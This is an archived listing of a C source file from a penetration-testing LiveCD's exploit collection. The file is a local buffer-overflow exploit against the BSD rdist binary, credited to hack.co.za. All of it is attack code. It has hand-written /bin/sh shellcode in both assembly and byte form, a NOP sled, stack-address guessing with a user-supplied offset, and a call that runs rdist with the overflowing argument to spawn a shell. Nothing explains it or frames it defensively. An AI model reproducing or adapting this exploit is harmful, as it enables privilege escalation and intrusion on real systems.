home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / rdist-bsd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  103 lines

  1. /* el8 */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6.  
  7. #define DEFAULT_OFFSET          50
  8. #define BUFFER_SIZE             255
  9.  
  10. long get_esp(void)
  11. {
  12.   __asm__("movl %esp,%eax\n");
  13. }
  14.  
  15. main(int argc, char **argv)
  16. {
  17.   char *buff = NULL;
  18.   unsigned long *addr_ptr = NULL;
  19.   char *ptr = NULL;
  20.  
  21.   /*
  22.   start:
  23.   jmp     endofk0dez
  24.   realstart:
  25.   popl    %esi
  26.   leal    (%esi), %ebx
  27.   movl    %ebx, 0x0b(%esi)
  28.   xorl    %edx, %edx
  29.   movl    %edx, 7(%esi)
  30.   movl    %edx, 0x0f(%esi)
  31.   movl    %edx, 0x14(%esi)
  32.   movb    %edx, 0x19(%esi)
  33.   xorl    %eax, %eax
  34.   movb    $59, %al
  35.   leal    0x0b(%esi), %ecx
  36.   movl    %ecx, %edx
  37.   pushl   %edx
  38.   pushl   %ecx
  39.   pushl   %ebx
  40.   pushl   %eax
  41.   jmp     bewm
  42.   endofk0dez:
  43.   call    realstart
  44.   .byte   '/', 'b', 'i', 'n', '/', 's', 'h'
  45.   .byte   1, 1, 1, 1
  46.   .byte   2, 2, 2, 2
  47.   .byte   3, 3, 3, 3
  48.   bewm:
  49.   .byte   0x9a, 4, 4, 4, 4, 7, 4
  50.   */
  51.  
  52.   char execshell[] =
  53.     "\xeb\x23"
  54.     "\x5e"
  55.     "\x8d\x1e"
  56.     "\x89\x5e\x0b"
  57.     "\x31\xd2"
  58.     "\x89\x56\x07"
  59.     "\x89\x56\x0f"
  60.     "\x89\x56\x14"
  61.     "\x88\x56\x19"
  62.     "\x31\xc0"
  63.     "\xb0\x3b"
  64.     "\x8d\x4e\x0b"
  65.     "\x89\xca"
  66.     "\x52"
  67.     "\x51"
  68.     "\x53"
  69.     "\x50"
  70.     "\xeb\x18"
  71.     "\xe8\xd8\xff\xff\xff"
  72.     "/bin/sh"
  73.     "\x01\x01\x01\x01"
  74.     "\x02\x02\x02\x02"
  75.     "\x03\x03\x03\x03"
  76.     "\x9a\x04\x04\x04\x04\x07\x04";
  77.  
  78.   int i;
  79.   int ofs = DEFAULT_OFFSET;
  80.  
  81.   if(argc == 2)
  82.     ofs = atoi(argv[1]);
  83.   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  84.  
  85.   buff = malloc(4096);
  86.   if(!buff)
  87.     {
  88.       printf("can't allocate memory\n");
  89.       exit(0);
  90.     }
  91.   ptr = buff;
  92.   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  93.   ptr += BUFFER_SIZE-strlen(execshell);
  94.   for(i=0;i < strlen(execshell);i++)
  95.     *(ptr++) = execshell[i];
  96.   addr_ptr = (long *)ptr;
  97.   for(i=0;i < (8/4);i++)
  98.     *(addr_ptr++) = get_esp() + ofs;
  99.   ptr = (char *)addr_ptr;
  100.   *ptr = 0;
  101.   execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
  102. }
  103. /*                    www.hack.co.za              [2000]*/